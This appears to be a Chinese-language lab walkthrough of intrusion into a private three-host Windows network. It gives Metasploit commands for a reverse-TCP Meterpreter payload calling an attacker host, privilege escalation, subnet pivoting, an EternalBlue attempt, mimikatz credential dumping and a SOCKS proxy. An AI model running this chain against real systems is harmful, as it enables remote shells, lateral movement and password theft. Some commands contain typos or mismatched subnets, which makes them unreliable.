环境:
win7 ip:192.168.0.108
win03 ip: 192.168.52.141
win 08 ip:192.168.52.143
访问win7,对其进行信息收集,通过多种手段获取到服务器shell
使用msf生成木马文件
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.0.109 LPORT=1234 -f exe -o run2.exe
将木马.exe文件上传到win7中进行执行,启动msfconsole,开启监听模块
use exploit/multi/handler set payload windows/x64/meterpreter_reverse_tcp set lhost 192.168.0.109 set lport 1234 run
win7上线成功。
首先使用getuid查询其权限,发现为administer,可直接使用getsystem进行提权。(在真实事件中可能会进行其他方式提权,本次仅为学习)
信息收集
输入ipconfig,查看到win7有双网卡,另一网段为192.168.52.0段。
输入shell,打开win7cmd窗口,输入以下命令进行信息收集。
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
温馨提示:输出结果时,命令行会出现乱码。可以输入chcp 65001 ,乱码问题可解决
下一步对扫描的两台机器进行探测。
添加路由
在使用msf对这两台机器进行漏洞探测时,需要添加一条路由,因为kali(192.168.0.*)相对于192.168.52.*来说是外网,需要添加一条路由信息才可以与内网中其他主机进行通信。
run get_local_subnets //获取当前机器的所有网段信息 run autoroute -s 192.168.0.0/24 //添加目标内网0网段的路由,CIDR格式添加 run autoroute -s 192.168.0.0 -n 255.255.255.0 //同样可以自行指定子网掩码进行添加 run autoroute -p //打印当前添加的路由表信息 background run autoroute -d -s 192.168.0.0/24 //删除指定的路由
探测漏洞
配置路由后,msf可以对另外两台主机进行攻击,到这里,思路可以是:
1.探测主机类型
2.查看是否存在可利用的漏洞进行攻击
3.例如:探测是否存在ms17_010,并进行尝试攻击
//测试是否存在ms17_010 use auxiliary/scanner/smb/smb_ms17_010 set rhosts 192.168.52.141 run // 攻击 use exploit/windows/smb/ms17_010_eternalblue set rhosts 192.168.52.141 //设置目标IP set lhost 192.168.0.109 set lport 4444
可能是防火墙等原因,没有利用成功。
获取密码
使用mimizatz工具,加载 mimikatz 模块,加载模块前需要先将meterpreter迁移到64位的进程,该进程也需要是system权限
首先,ps获取服务器,进行为迁移
Migrate + id号进行迁移,迁移到64位进程
load mimikatz 开启工具,使用 kiwi_cmd sekurlsa::logonpasswords 或者creds_all可获取明文密码。
搭建socks4a代理
前边已经添加路由:run autoroute -s 192.168.52.0/24所以这里不再重复。
启动代理模块
use auxiliary/server/socks4a set SRVHOST 192.168.0.109 set SRVPORT 1081 run
编辑 proxychains文件
vi /etc/proxychains.conf
使用 proxychains4 curl http://192.168.52.138,成功访问到内网138机器
使用proxychains firefox 再浏览器中访问成功。
本文仅为学习练习,方便自己记忆,文章项目中涉及的任何脚本工具,仅用于测试和学习研究,禁止用于商业用途。
禁止模仿,产生的一切问题,均由用户本人负责,作者不承担任何直接责任。



